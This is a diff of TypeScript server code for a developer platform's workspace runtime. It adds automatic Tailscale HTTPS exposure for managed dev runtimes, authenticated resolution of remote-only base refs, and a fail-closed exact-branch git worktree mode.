+  return process.env.PAPERCLIP_TAILSCALE_BROKER_SOCKET?.trim() || DEFAULT_TAILSCALE_BROKER_SOCKET;
+}
+
+function defaultWorkspaceRuntimeExposureDeps(): WorkspaceRuntimeExposureDeps {
+  const socketPath = resolveTailscaleBrokerSocketPath();
+  const broker: BrokerClient = new UnixBrokerClient({ socketPath });
+  return {
+    broker,
+    resolveHostname: () => resolveTailscaleDnsName(),
+    isPortAvailable: isLoopbackPortAvailable,
+    isBrokerAvailable: async () => {
+      try {
+        // Presence of the socket, not a probe request: availability is checked
+        // on every managed start, and an unauthenticated connect storm against
+        // the broker would be its own problem.
+        const stats = await fs.stat(socketPath);
+        return stats.isSocket();
+      } catch {
+        return false;
+      }
+    },
+    probeHealth: async (url) => {
+      try {
+        const response = await fetch(url, {
+          redirect: "error",
+          signal: AbortSignal.timeout(5_000),
+        });
+        return response.ok;
+      } catch {
+        return false;
+      }
+    },
+    now: () => new Date().toISOString(),
+    diagnoseListenerBinds: diagnoseRuntimeListenerBinds,
+  };
+}
+
+let workspaceRuntimeExposureDeps = defaultWorkspaceRuntimeExposureDeps();
+
+/** Test-only seam; resetRuntimeServicesForTests restores production defaults. */
+export function setWorkspaceRuntimeExposureDepsForTests(deps: WorkspaceRuntimeExposureDeps) {
+  workspaceRuntimeExposureDeps = deps;
+}
+
+/**
+ * Deployment-level switch for the automatic default (PAP-17158).
+ *
+ *  - `auto` (default): eligible Paperclip-managed worktree runtimes get
+ *    `tailscale_https` without any project template or UI caller supplying an
+ *    exposure block, provided the host broker is available.
+ *  - `off`: no automatic default. Explicit opt-ins still work.
+ *  - `force`: default even when the broker socket is missing, so a
+ *    misconfigured host fails closed and loudly instead of silently serving
+ *    plain HTTP. Intended for deployments that require HTTPS previews.
+ */
+export type ManagedRuntimeHttpsMode = "auto" | "off" | "force";
+
+export function resolveManagedRuntimeHttpsMode(): ManagedRuntimeHttpsMode {
+  const raw = process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS?.trim().toLowerCase();
+  if (raw === "off" || raw === "false" || raw === "0") return "off";
+  if (raw === "force") return "force";
+  return "auto";
+}
+
+/**
+ * Whether a service would be defaulted to HTTPS if it declared nothing.
+ *
+ * Intentionally narrow: only the Paperclip-managed dev runtime. Unmanaged and
+ * custom external services are left exactly as they are, because the broker
+ * only publishes allowlisted loopback ports it can prove Paperclip owns and we
+ * do not want to relocate a service somebody else addresses by port.
+ *
+ * A *pinned* port is still a candidate. The pre-feature Paperclip App template
+ * hard-codes `port: 45439`, which the broker's dedicated allowlist can never
+ * publish, so defaulting it to HTTPS necessarily relocates it into the
+ * dedicated range. "Keep existing runtime ports when safe" is honored one layer
+ * down, by preferring the current port when it already *is* an allowlisted app
+ * port with a free HMR companion.
+ */
+function isManagedHttpsDefaultCandidate(input: {
+  serviceName: string;
+  command: string | null;
+}): boolean {
+  return isPaperclipDevRuntimeService(input);
+}
+
+export type ResolvedRuntimeServiceExposure = {
+  config: RuntimeExposureConfigInput;
+  /**
+   * `declared` — the project template or UI caller asked for HTTPS.
+   * `default` — the server applied the automatic default (PAP-17158).
+   *
+   * The distinction matters for port handling: a declared opt-in on a pinned
+   * port is an operator misconfiguration and fails loudly, while the automatic
+   * default is allowed to relocate a legacy pinned port into the dedicated
+   * exposure range.
+   */
+  origin: "declared" | "default";
+};
+
+/**
+ * Resolve the exposure config for one runtime service start.
+ *
+ * Precedence: deliberate opt-out → explicit opt-in → automatic default for
+ * eligible managed runtimes → none.
+ */
+async function resolveRuntimeServiceExposure(input: {
+  service: Record<string, unknown>;
+  serviceName: string;
+  command: string | null;
+}): Promise<ResolvedRuntimeServiceExposure | null> {
+  const expose = parseObject(input.service.expose);
+  const intent = readRuntimeExposureIntent(expose);
+  if (intent === "disabled") return null;
+  // An explicit opt-in is honored verbatim and is never gated on broker
+  // availability: the operator asked for HTTPS, so a missing broker must fail
+  // the start rather than silently downgrade it to HTTP.
+  if (intent === "enabled") {
+    const declared = resolveDeclaredRuntimeExposureConfig(expose);
+    return declared ? { config: declared, origin: "declared" } : null;
+  }
+
+  const mode = resolveManagedRuntimeHttpsMode();
+  if (mode === "off") return null;
+  if (!isManagedHttpsDefaultCandidate({ serviceName: input.serviceName, command: input.command })) {
+    return null;
+  }
+  if (mode !== "force" && !(await workspaceRuntimeExposureDeps.isBrokerAvailable())) return null;
+  return { config: DEFAULT_TAILSCALE_HTTPS_EXPOSURE, origin: "default" };
+}
+
+/**
+ * Whether any entry in a start batch will take the HTTPS exposure path.
+ *
+ * Reads the service name and command straight off the raw config entry rather
+ * than resolving the full reuse identity: templates never rewrite a service
+ * name, and the substrings `isPaperclipDevRuntimeService` matches survive
+ * rendering, so this agrees with the per-service decision made during spawn.
+ */
+async function anyRuntimeServiceUsesHttpsExposure(
+  services: Record<string, unknown>[],
+): Promise<boolean> {
+  for (const service of services) {
+    const resolved = await resolveRuntimeServiceExposure({
+      service,
+      serviceName: asString(service.name, "service"),
+      command: asString(service.command, ""),
+    });
+    if (resolved) return true;
+  }
+  return false;
+}
 
 type ProcessOutputCapture = {
   text: string;
@@ -195,14 +488,46 @@ type ProcessOutputAccumulator = {
   finish(): ProcessOutputCapture;
 };
 
-export async function resetRuntimeServicesForTests() {
+/**
+ * Drops in-memory runtime state between tests.
+ *
+ * By default the spawned backend processes are deliberately left running: the
+ * startup-reconciliation suites use this to simulate a Paperclip restart, where
+ * the point is that a live backend survives and has to be adopted.
+ *
+ * Suites that spawn real backends and do *not* need that must pass
+ * `terminateProcesses` — otherwise every test leaks a listener that keeps
+ * squatting a port in the dedicated exposure range for the life of the host.
+ * Termination runs before the exposure deps are restored so the suite's own
+ * broker fake handles the removal rather than the real host broker.
+ */
+export async function resetRuntimeServicesForTests(
+  opts: { terminateProcesses?: boolean; simulateSupervisorExit?: boolean } = {},
+) {
+  if (opts.terminateProcesses) {
+    for (const serviceId of [...runtimeServicesById.keys()]) {
+      await stopRuntimeService(serviceId).catch(() => undefined);
+    }
+  }
   for (const record of runtimeServicesById.values()) {
     clearIdleTimer(record);
+    if (opts.simulateSupervisorExit) {
+      // A real supervisor exit closes its side of every inherited pipe. Tests
+      // use this to prove surviving request-logging services do not depend on
+      // Paperclip keeping an anonymous stdio peer alive.
+      record.child?.stdout?.destroy();
+      record.child?.stderr?.destroy();
+    }
   }
   runtimeServicesById.clear();
   runtimeServicesByReuseKey.clear();
   runtimeServiceLeasesByRun.clear();
   runtimeProvisionByWorkspace.clear();
+  runtimeControlStartByOwner.clear();
+  runtimeReplacementClaimsByReuseKey.clear();
+  quarantinedRuntimeExposurePorts.clear();
+  exposurePortPairClaims.clear();
+  workspaceRuntimeExposureDeps = defaultWorkspaceRuntimeExposureDeps();
 }
 
 function stableStringify(value: unknown): string {
@@ -416,6 +741,7 @@ function toRuntimeServiceRef(record: RuntimeServiceRecord, overrides?: Partial<R
     startedAt: record.startedAt,
     stoppedAt: record.stoppedAt,
     stopPolicy: record.stopPolicy,
+    exposure: record.exposure,
     healthStatus: record.healthStatus,
     reused: record.reused,
     ...overrides,
@@ -591,6 +917,22 @@ async function runGit(args: string[], cwd: string, opts?: { env?: NodeJS.Process
   return proc.stdout.trim();
 }
 
+async function runExpensiveGitStatus(input: {
+  args: readonly string[];
+  cwd: string;
+  operation: string;
+  fairnessKeys?: readonly string[];
+}): Promise<string> {
+  const result = await workspaceGitOperationScheduler.run({
+    workspacePath: input.cwd,
+    args: input.args,
+    operation: input.operation,
+    fairnessKeys: input.fairnessKeys,
+    cacheTtlMs: 0,
+  });
+  return result.stdout.trim();
+}
+
 function formatShortSha(value: string | null | undefined) {
   return value ? value.slice(0, 12) : "unknown";
 }
@@ -1017,10 +1359,15 @@ async function inspectGitWorktreeBranchIncoherence(input: {
   sourceIssue: ExecutionWorkspaceIssueRef | null;
   executionWorkspaceId?: string | null;
 }): Promise<GitWorktreeBranchIncoherenceEvidence> {
-  const status = await runGit(
-    ["status", "--porcelain", "--untracked-files=all"],
-    input.worktreePath,
-  ).catch(() => null);
+  const status = await runExpensiveGitStatus({
+    args: ["status", "--porcelain", "--untracked-files=all"],
+    cwd: input.worktreePath,
+    operation: "workspace_runtime.branch_incoherence_status",
+    fairnessKeys: [
+      ...(input.executionWorkspaceId ? [`workspace:${input.executionWorkspaceId}`] : []),
+      ...(input.sourceIssue?.id ? [`issue:${input.sourceIssue.id}`] : []),
+    ],
+  }).catch(() => null);
   const statusLines = status === null
     ? null
     : status.split(/\r?\n/).map((line) => line.trimEnd()).filter((line) => line.trim().length > 0);
@@ -1504,7 +1851,15 @@ async function quarantineDirtyWorktreeBranchIncoherence(input: {
         `dirty quarantine repair checked out ${formatBranchForMessage(repairedBranch)} instead of ${input.expectedBranchName}`;
       throw branchIncoherenceValidationFailure(input.evidence);
     }
-    const repairedStatus = await runGit(["status", "--porcelain", "--untracked-files=all"], input.worktreePath);
+    const repairedStatus = await runExpensiveGitStatus({
+      args: ["status", "--porcelain", "--untracked-files=all"],
+      cwd: input.worktreePath,
+      operation: "workspace_runtime.dirty_quarantine_verify",
+      fairnessKeys: [
+        ...(input.executionWorkspaceId ? [`workspace:${input.executionWorkspaceId}`] : []),
+        ...(input.sourceIssue?.id ? [`issue:${input.sourceIssue.id}`] : []),
+      ],
+    });
     if (repairedStatus.trim().length > 0) {
       input.evidence.safeRepair.succeeded = false;
       input.evidence.safeRepair.reason = "dirty quarantine repair completed but the worktree is still dirty";
@@ -2017,26 +2372,116 @@ export async function ensureGitWorktreeBranchCoherent(input: {
   };
 }
 
+// A configured base ref that does not resolve to a commit, even after an
+// authenticated fetch of its `origin/<branch>` counterpart. The caller must
+// stop before `git worktree add` and raise a pre-dispatch configuration
+// failure. `requestedRef` keeps the operator spelling for the human notice.
+// `recoveryIdentityRef` is the canonical remote ref the resolver probed, so two
+// equivalent spellings of one remote branch map to one recovery identity.
+// `attemptedRefs` names each ref the resolver tried, and `fetchError` carries
+// the first fetch warning (masked) when the fetch itself failed.
+export class UnresolvedWorkspaceBaseRefError extends Error {
+  requestedRef: string;
+  recoveryIdentityRef: string;
+  attemptedRefs: string[];
+  fetchError: string | null;
+
+  constructor(input: {
+    requestedRef: string;
+    recoveryIdentityRef: string;
+    attemptedRefs: string[];
+    fetchError?: string | null;
+  }) {
+    super(
+      `Configured workspace base ref "${input.requestedRef}" did not resolve to a commit on origin after an authenticated fetch.`,
+    );
+    this.name = "UnresolvedWorkspaceBaseRefError";
+    this.requestedRef = input.requestedRef;
+    this.recoveryIdentityRef = input.recoveryIdentityRef;
+    this.attemptedRefs = input.attemptedRefs;
+    this.fetchError = input.fetchError ?? null;
+  }
+}
+
+export function isUnresolvedWorkspaceBaseRefError(error: unknown): error is UnresolvedWorkspaceBaseRefError {
+  return error instanceof UnresolvedWorkspaceBaseRefError;
+}
+
+// A resolved base ref that the caller can pass to `git worktree add`, or an
+// unresolved outcome that must stop the caller before it creates the worktree.
+type AuthoritativeBaseRefResolution =
+  | { resolved: true; baseRef: string; warnings: string[]; refreshed: boolean }
+  | {
+      resolved: false;
+      requestedRef: string;
+      // The canonical remote ref the resolver probed for this branch, for
+      // example `origin/fix/foo`. Two equivalent spellings of one remote branch
+      // (`fix/foo` and `origin/fix/foo`) share this value, so recovery treats
+      // them as one identity. Two different branches get different values.
+      recoveryIdentityRef: string;
+      attemptedRefs: string[];
+      warnings: string[];
+      fetchError: string | null;
+    };
+
 // Resolve the authoritative base ref for a fresh worktree. A configured local
 // branch is mapped to its `origin/<branch>` counterpart so unpushed local
-// divergence never leaks into the task branch; remote-tracking refs, SHAs, and
-// tags are used verbatim, and an unset/`HEAD` base falls back to the detected
-// default branch (which already prefers `origin/master`).
+// divergence never leaks into the task branch; SHAs and tags are used verbatim,
+// and an unset/`HEAD` base falls back to the detected default branch (which
+// already prefers `origin/master`).
+//
+// A remote-only feature branch never has a local ref or a remote-tracking ref
+// yet. The resolver fetches `origin/<branch>` with the authenticated helper,
+// then re-checks the commit. This covers both the unqualified form (`fix/foo`)
+// and the remote-tracking form (`origin/fix/foo`). A ref that still does not
+// resolve returns `resolved: false`, so the caller stops before the worktree
+// add instead of passing an invalid reference to git.
 async function resolveAuthoritativeBaseRef(
   repoRoot: string,
   configuredBaseRef: string | null,
   resolveGitAuth?: GitRemoteAuthProvider | null,
-): Promise<{ baseRef: string; warnings: string[]; refreshed: boolean }> {
+): Promise<AuthoritativeBaseRefResolution> {
   const warnings: string[] = [];
   const detectOrHead = async () => (await detectDefaultBranch(repoRoot, resolveGitAuth)) ?? "HEAD";
 
   const configured = configuredBaseRef?.trim();
   if (!configured || configured === "HEAD") {
-    return { baseRef: await detectOrHead(), warnings, refreshed: false };
+    return { resolved: true, baseRef: await detectOrHead(), warnings, refreshed: false };
   }
 
-  if (parseRemoteTrackingRef(configured)) {
-    return { baseRef: configured, warnings, refreshed: false };
+  // A remote-tracking ref supplied directly (for example `origin/fix/foo`).
+  // Use it verbatim when it already resolves. When it does not, fetch it once
+  // and re-check, then stop if it is still absent on the remote.
+  //
+  // `parseRemoteTrackingRef` only checks the `remote/branch` shape. An
+  // unqualified branch name that contains a slash (for example `fix/foo`) has
+  // the same shape but names no real remote, so it is not a remote-tracking
+  // ref. Gate this branch on the first segment naming an existing remote, and
+  // let a name like `fix/foo` fall through to the remote-only branch handling
+  // below.
+  const remoteTracking = parseRemoteTrackingRef(configured);
+  if (remoteTracking && await resolveBaseRefSha(repoRoot, configured)) {
+    return { resolved: true, baseRef: configured, warnings, refreshed: false };
+  }
+  if (remoteTracking && await remoteExists(repoRoot, remoteTracking.remote)) {
+    const fetchWarnings = await refreshRemoteTrackingBaseRef(repoRoot, configured, resolveGitAuth);
+    warnings.push(...fetchWarnings);
+    if (await resolveBaseRefSha(repoRoot, configured)) {
+      return { resolved: true, baseRef: configured, warnings, refreshed: true };
+    }
+    // Build the recovery identity from the parsed remote and branch. The raw
+    // ref and its remote-tracking spelling (`origin/fix/foo` and
+    // `refs/remotes/origin/fix/foo`) then share one recovery fingerprint, so
+    // recovery treats them as one identity instead of two.
+    const canonicalRemoteRef = `${remoteTracking.remote}/${remoteTracking.branch}`;
+    return {
+      resolved: false,
+      requestedRef: configured,
+      recoveryIdentityRef: canonicalRemoteRef,
+      attemptedRefs: [configured],
+      warnings,
+      fetchError: fetchWarnings[0] ?? null,
+    };
   }
 
   if (await localBranchExists(repoRoot, configured)) {
@@ -2045,17 +2490,37 @@ async function resolveAuthoritativeBaseRef(
     // the returned ref (see `refreshed`) so we never fetch the same ref twice.
     warnings.push(...await refreshRemoteTrackingBaseRef(repoRoot, remoteCandidate, resolveGitAuth));
     if (await resolveBaseRefSha(repoRoot, remoteCandidate)) {
-      return { baseRef: remoteCandidate, warnings, refreshed: true };
+      return { resolved: true, baseRef: remoteCandidate, warnings, refreshed: true };
     }
     if (await remoteExists(repoRoot, "origin")) {
       warnings.push(
         `Configured base ref "${configured}" is a local branch with no matching origin/${configured}; basing the execution workspace on the local ref, which may include unpushed commits.`,
       );
     }
-    return { baseRef: configured, warnings, refreshed: false };
+    return { resolved: true, baseRef: configured, warnings, refreshed: false };
   }
 
-  return { baseRef: configured, warnings, refreshed: false };
+  // Fall-through: an unqualified ref (for example `fix/foo`) that is not `HEAD`,
+  // not a remote-tracking ref, and not a local branch. A full SHA or a tag that
+  // already resolves stays verbatim. Otherwise treat it as a remote-only branch
+  // name: fetch `origin/<ref>` and base the worktree on the remote counterpart.
+  if (await resolveBaseRefSha(repoRoot, configured)) {
+    return { resolved: true, baseRef: configured, warnings, refreshed: false };
+  }
+  const remoteCandidate = `origin/${configured}`;
+  const fetchWarnings = await refreshRemoteTrackingBaseRef(repoRoot, remoteCandidate, resolveGitAuth);
+  warnings.push(...fetchWarnings);
+  if (await resolveBaseRefSha(repoRoot, remoteCandidate)) {
+    return { resolved: true, baseRef: remoteCandidate, warnings, refreshed: true };
+  }
+  return {
+    resolved: false,
+    requestedRef: configured,
+    recoveryIdentityRef: remoteCandidate,
+    attemptedRefs: [remoteCandidate],
+    warnings,
+    fetchError: fetchWarnings[0] ?? null,
+  };
 }
 
 // Auto-refresh a reused worktree to the latest base only when it is provably
@@ -2095,10 +2560,14 @@ async function refreshUnstartedWorktreeToBase(input: {
   // Force `--untracked-files=all` so untracked files are counted regardless of a
   // local `status.showUntrackedFiles=no`; otherwise the clean-tree guard could
   // pass and the `reset --hard` below would destroy untracked work.
-  const status = await runGit(
-    ["status", "--porcelain", "--untracked-files=all"],
-    input.worktreePath,
-  ).catch(() => null);
+  const status = await runExpensiveGitStatus({
+    args: ["status", "--porcelain", "--untracked-files=all"],
+    cwd: input.worktreePath,
+    operation: "workspace_runtime.base_refresh_clean_guard",
+    fairnessKeys: [
+      ...(input.branchName ? [`branch:${input.branchName}`] : []),
+    ],
+  }).catch(() => null);
   if (status === null || status.trim().length > 0) {
     return { refreshed: false, baseRefSha: null };
   }
@@ -2396,21 +2865,6 @@ export function formatManagedGitWorktreeBranchInspection(input: ManagedGitWorktr
   };
 }
 
-function terminateChildProcess(child: ChildProcess) {
-  if (!child.pid) return;
-  if (process.platform !== "win32") {
-    try {
-      process.kill(-child.pid, "SIGTERM");
-      return;
-    } catch {
-      // Fall through to the direct child kill.
-    }
-  }
-  if (!child.killed) {
-    child.kill("SIGTERM");
-  }
-}
-
 function buildWorkspaceCommandEnv(input: {
   base: ExecutionWorkspaceInput;
   repoRoot: string;
@@ -2447,6 +2901,20 @@ function quoteShellArg(value: string) {
   return `'${value.replace(/'/g, `'\\''`)}'`;
 }
 
+const BUILTIN_WORKSPACE_PROVISION_COMMAND = "bash ./scripts/provision-worktree.sh";
+
+function resolveWorkspaceProvisionCommand(
+  strategy: Record<string, unknown>,
+  repoRoot: string,
+) {
+  const configuredCommand = asString(strategy.provisionCommand, "").trim();
+  if (configuredCommand) return configuredCommand;
+
+  return existsSync(path.join(repoRoot, "scripts", "provision-worktree.sh"))
+    ? BUILTIN_WORKSPACE_PROVISION_COMMAND
+    : "";
+}
+
 function resolveRepoManagedWorkspaceCommand(command: string, repoRoot: string) {
   const patterns = [
     /^(?<prefix>(?:bash|sh|zsh)\s+)(?<quote>["']?)(?<relative>\.\/[^"'\s]+)\k<quote>(?<suffix>(?:\s.*)?)$/s,
@@ -2561,7 +3029,7 @@ async function recordGitOperation(
 async function recordWorkspaceCommandOperation(
   recorder: WorkspaceOperationRecorder | null | undefined,
   input: {
-    phase: "workspace_provision" | "workspace_runtime_provision" | "workspace_teardown";
+    phase: "workspace_provision" | "workspace_seed" | "workspace_runtime_provision" | "workspace_teardown";
     command: string;
     resolvedCommand?: string;
     cwd: string;
@@ -2593,26 +3061,31 @@ async function recordWorkspaceCommandOperation(
         cwd: input.cwd,
         env: input.env,
       });
+      const seedEvidence = input.phase === "workspace_seed"
+        ? readWorkspaceSeedOperationEvidence(input.cwd)
+        : null;
       stdout = result.stdout;
-      stderr = result.stderr;
-      code = result.code;
+      stderr = [result.stderr, seedEvidence?.error].filter(Boolean).join("\n");
+      code = result.code === 0 && seedEvidence && !seedEvidence.verified ? 1 : result.code;
       if (result.stdout && input.onLog) await input.onLog("stdout", `[runtime-provision] ${result.stdout}`);
-      if (result.stderr && input.onLog) await input.onLog("stderr", `[runtime-provision] ${result.stderr}`);
+      if (stderr && input.onLog) await input.onLog("stderr", `[runtime-provision] ${stderr}`);
+      const truncationMetadata = result.stdoutTruncated || result.stderrTruncated
+        ? {
+            stdoutTruncated: result.stdoutTruncated,
+            stderrTruncated: result.stderrTruncated,
+            stdoutBytes: result.stdoutBytes,
+            stderrBytes: result.stderrBytes,
+          }
+        : null;
       return {
-        status: result.code === 0 ? "succeeded" : "failed",
-        exitCode: result.code,
+        status: code === 0 ? "succeeded" : "failed",
+        exitCode: code,
         stdout: result.stdout,
-        stderr: result.stderr,
-        system: result.code === 0 ? input.successMessage ?? null : null,
-        metadata:
-          result.stdoutTruncated || result.stderrTruncated
-            ? {
-                stdoutTruncated: result.stdoutTruncated,
-                stderrTruncated: result.stderrTruncated,
-                stdoutBytes: result.stdoutBytes,
-                stderrBytes: result.stderrBytes,
-              }
-            : null,
+        stderr,
+        system: code === 0 ? input.successMessage ?? null : null,
+        metadata: seedEvidence
+          ? { ...seedEvidence.metadata, ...(truncationMetadata ?? {}) }
+          : truncationMetadata,
       };
     },
   });
@@ -2638,7 +3111,7 @@ async function provisionExecutionWorktree(input: {
   created: boolean;
   recorder?: WorkspaceOperationRecorder | null;
 }) {
-  const provisionCommand = asString(input.strategy.provisionCommand, "").trim();
+  const provisionCommand = resolveWorkspaceProvisionCommand(input.strategy, input.repoRoot);
   if (!provisionCommand) return;
   const resolvedProvisionCommand = resolveRepoManagedWorkspaceCommand(provisionCommand, input.repoRoot);
 
@@ -2723,6 +3196,10 @@ export async function realizeExecutionWorkspace(input: {
   config: Record<string, unknown>;
   issue: ExecutionWorkspaceIssueRef | null;
   agent: ExecutionWorkspaceAgentRef;
+  recordedBranchOwnership?: {
+    branchName: string;
+    createdByRuntime: boolean;
+  } | null;
   heartbeatRunId?: string | null;
   enableWorkspaceBranchReconcileForward?: boolean;
   enableWorkspaceDirtyQuarantineRepair?: boolean;
@@ -2731,7 +3208,20 @@ export async function realizeExecutionWorkspace(input: {
 }): Promise<RealizedExecutionWorkspace> {
   const rawStrategy = parseObject(input.config.workspaceStrategy);
   const strategyType = asString(rawStrategy.type, "project_primary");
+  const requestedExistingBranch = asString(rawStrategy.existingBranch, "").trim();
   if (strategyType !== "git_worktree") {
+    if (requestedExistingBranch) {
+      throw new WorkspaceRuntimeValidationFailure(
+        `Workspace strategy pins existing branch "${requestedExistingBranch}" but has type "${strategyType}"; an exact-branch workspace requires strategy type "git_worktree". Set workspaceStrategy.type to "git_worktree" or remove existingBranch.`,
+        {
+          workspaceValidation: {
+            reason: "existing_branch_requires_git_worktree",
+            requestedExistingBranch,
+            strategyType,
+          },
+        },
+      );
+    }
     return {
       ...input.base,
       strategy: "project_primary",
@@ -2740,33 +3230,75 @@ export async function realizeExecutionWorkspace(input: {
       worktreePath: null,
       warnings: [],
       created: false,
+      branchCreatedByRuntime: false,
       baseRefSha: null,
     };
   }
 
   const repoRoot = await resolveGitOwnerRepoRoot(input.base.baseCwd);
-  const branchTemplate = asString(rawStrategy.branchTemplate, "{{issue.identifier}}-{{slug}}");
-  const renderedBranch = renderWorkspaceTemplate(branchTemplate, {
-    issue: input.issue,
-    agent: input.agent,
-    projectId: input.base.projectId,
-    repoRef: input.base.repoRef,
-  });
-  let branchName = sanitizeBranchName(renderedBranch);
+  let branchName: string;
+  if (requestedExistingBranch) {
+    // Exact-branch mode: attach the requested pre-existing branch verbatim.
+    // The branch must already exist; realization never creates, renames, or
+    // resets it, and any mismatch below fails closed instead of falling back
+    // to a derived branch or the shared checkout.
+    const existingBranchSha = await runGit(
+      ["rev-parse", "--verify", "--quiet", `refs/heads/${requestedExistingBranch}`],
+      repoRoot,
+    ).catch(() => null);
+    if (!existingBranchSha) {
+      throw new WorkspaceRuntimeValidationFailure(
+        `Workspace strategy pins existing branch "${requestedExistingBranch}", but no local branch with that name exists in "${repoRoot}". Create or fetch the branch first, or remove workspaceStrategy.existingBranch; exact-branch realization never creates a branch.`,
+        {
+          workspaceValidation: {
+            reason: "existing_branch_not_found",
+            requestedExistingBranch,
+            repoRoot,
+          },
+        },
+      );
+    }
+    branchName = requestedExistingBranch;
+  } else {
+    const branchTemplate = asString(rawStrategy.branchTemplate, "{{issue.identifier}}-{{slug}}");
+    const renderedBranch = renderWorkspaceTemplate(branchTemplate, {
+      issue: input.issue,
+      agent: input.agent,
+      projectId: input.base.projectId,
+      repoRef: input.base.repoRef,
+    });
+    branchName = sanitizeBranchName(renderedBranch);
+  }
   const configuredParentDir = asString(rawStrategy.worktreeParentDir, "");
   const worktreeParentDir = configuredParentDir
     ? resolveConfiguredPath(configuredParentDir, repoRoot)
     : path.join(repoRoot, ".paperclip", "worktrees");
   const worktreePath = path.join(worktreeParentDir, branchName);
+  if (path.relative(worktreeParentDir, worktreePath).startsWith("..")) {
+    throw new WorkspaceRuntimeValidationFailure(
+      `Workspace branch "${branchName}" resolves to a worktree path outside the managed worktree parent directory "${worktreeParentDir}".`,
+      {
+        workspaceValidation: {
+          reason: "worktree_path_escapes_parent_dir",
+          branchName,
+          worktreeParentDir,
+        },
+      },
+    );
+  }
   let pendingForwardBranchReconcile: PendingForwardBranchReconcile | null = null;
   const configuredBaseRef = typeof rawStrategy.baseRef === "string" && rawStrategy.baseRef.length > 0
     ? rawStrategy.baseRef
     : input.base.repoRef ?? null;
-  const {
-    baseRef,
-    warnings: baseRefResolutionWarnings,
-    refreshed: baseRefAlreadyRefreshed,
-  } = await resolveAuthoritativeBaseRef(repoRoot, configuredBaseRef, input.resolveGitAuth);
+  const baseRefResolution = await resolveAuthoritativeBaseRef(repoRoot, configuredBaseRef, input.resolveGitAuth);
+  // Keep a usable base ref for the reuse and drift paths even when the ref is
+  // unresolved: those paths tolerate a null base-ref SHA and never run
+  // `git worktree add -b <branch> <baseRef>`. Only the fresh-create path below
+  // stops on an unresolved ref. `baseRefAlreadyRefreshed` is true for the
+  // unresolved case because the resolver already attempted the fetch.
+  const baseRef = baseRefResolution.resolved ? baseRefResolution.baseRef : baseRefResolution.requestedRef;
+  const baseRefResolutionWarnings = baseRefResolution.warnings;
+  const baseRefAlreadyRefreshed = baseRefResolution.resolved ? baseRefResolution.refreshed : true;
   const baseRefreshWarnings = [
     ...baseRefResolutionWarnings,
     ...(baseRefAlreadyRefreshed ? [] : await refreshRemoteTrackingBaseRef(repoRoot, baseRef, input.resolveGitAuth)),
@@ -2776,7 +3308,9 @@ export async function realizeExecutionWorkspace(input: {
   await fs.mkdir(worktreeParentDir, { recursive: true });
 
   async function reuseExistingWorktree(reusablePath: string, effectiveBranchName = branchName, extraWarnings: string[] = []) {
-    const refresh = currentBaseRefSha
+    // An exact-branch attach must never move the requested branch, so skip
+    // the unstarted-worktree fast-forward that template-derived reuse gets.
+    const refresh = currentBaseRefSha && !requestedExistingBranch
       ? await refreshUnstartedWorktreeToBase({
           repoRoot,
           worktreePath: reusablePath,
@@ -2835,6 +3369,15 @@ export async function realizeExecutionWorkspace(input: {
       worktreePath: reusablePath,
       warnings: [...extraWarnings, ...baseRefreshWarnings, ...baseDrift.warnings],
       created: false,
+      // A fresh realization may still land on the worktree recorded by a
+      // previous heartbeat. Preserve that branch's ownership only when the
+      // recorded branch matches the checkout being reused. Exact-branch mode
+      // remains operator-owned by contract; every mismatch likewise fails
+      // safe and leaves the branch behind during terminal cleanup.
+      branchCreatedByRuntime:
+        !requestedExistingBranch
+        && input.recordedBranchOwnership?.branchName === effectiveBranchName
+        && input.recordedBranchOwnership.createdByRuntime === true,
       baseRefSha: refresh.baseRefSha ?? baseDrift.branchBaseRefSha ?? baseDrift.currentBaseRefSha,
       pendingForwardBranchReconcile,
     };
@@ -2847,6 +3390,11 @@ export async function realizeExecutionWorkspace(input: {
       expectedBranchName: branchName,
     }).catch(() => null);
     if (validation && !validation.valid && validation.reasonCode === "branch_mismatch") {
+      if (requestedExistingBranch) {
+        // Exact-branch mode never reconciles a mismatched checkout onto
+        // another branch; the caller fails closed with the mismatch reason.
+        return { validation, branchName, warnings: [] };
+      }
       const coherence = await ensureGitWorktreeBranchCoherent({
         db: input.db ?? null,
         repoRoot,
@@ -2888,6 +3436,19 @@ export async function realizeExecutionWorkspace(input: {
     }
     const validation = reusable.validation;
     const reason = validation && !validation.valid ? ` (${validation.reason})` : "";
+    if (requestedExistingBranch) {
+      throw new WorkspaceRuntimeValidationFailure(
+        `Workspace strategy pins existing branch "${requestedExistingBranch}", but the worktree path "${worktreePath}" already exists and is not a reusable checkout of that branch${reason}. Repair or remove that worktree, then retry; exact-branch realization never reconciles it onto another branch.`,
+        {
+          workspaceValidation: {
+            reason: "existing_branch_worktree_not_reusable",
+            reasonCode: validation && !validation.valid ? validation.reasonCode : null,
+            requestedExistingBranch,
+            worktreePath,
+          },
+        },
+      );
+    }
     throw new Error(`Configured worktree path "${worktreePath}" already exists and is not a reusable git worktree${reason}.`);
   }
 
@@ -2899,9 +3460,94 @@ export async function realizeExecutionWorkspace(input: {
     }
     const validation = reusable.validation;
     const reason = validation && !validation.valid ? ` (${validation.reason})` : "";
+    if (requestedExistingBranch) {
+      throw new WorkspaceRuntimeValidationFailure(
+        `Workspace strategy pins existing branch "${requestedExistingBranch}", which is already checked out at "${registeredBranchWorktree}", but that worktree is not reusable${reason}. Repair or remove that worktree, then retry.`,
+        {
+          workspaceValidation: {
+            reason: "existing_branch_worktree_not_reusable",
+            reasonCode: validation && !validation.valid ? validation.reasonCode : null,
+            requestedExistingBranch,
+            worktreePath: registeredBranchWorktree,
+          },
+        },
+      );
+    }
     throw new Error(`Registered worktree for branch "${branchName}" at "${registeredBranchWorktree}" is not reusable${reason}.`);
   }
 
+  if (requestedExistingBranch) {
+    try {
+      await recordGitOperation(input.recorder, {
+        phase: "worktree_prepare",
+        args: ["worktree", "add", worktreePath, branchName],
+        cwd: repoRoot,
+        metadata: {
+          repoRoot,
+          worktreePath,
+          branchName,
+          baseRef,
+          baseRefSha: currentBaseRefSha,
+          created: false,
+          attachedExistingBranch: true,
+        },
+        successMessage: `Attached existing branch ${branchName} at ${worktreePath}\n`,
+        failureLabel: `git worktree add ${worktreePath}`,
+      });
+    } catch (attachError) {
+      const message = attachError instanceof Error ? attachError.message : String(attachError);
+      throw new WorkspaceRuntimeValidationFailure(
+        `Could not attach existing branch "${requestedExistingBranch}" as a git worktree at "${worktreePath}": ${message}`,
+        {
+          workspaceValidation: {
+            reason: "existing_branch_attach_failed",
+            requestedExistingBranch,
+            worktreePath,
+          },
+        },
+      );
+    }
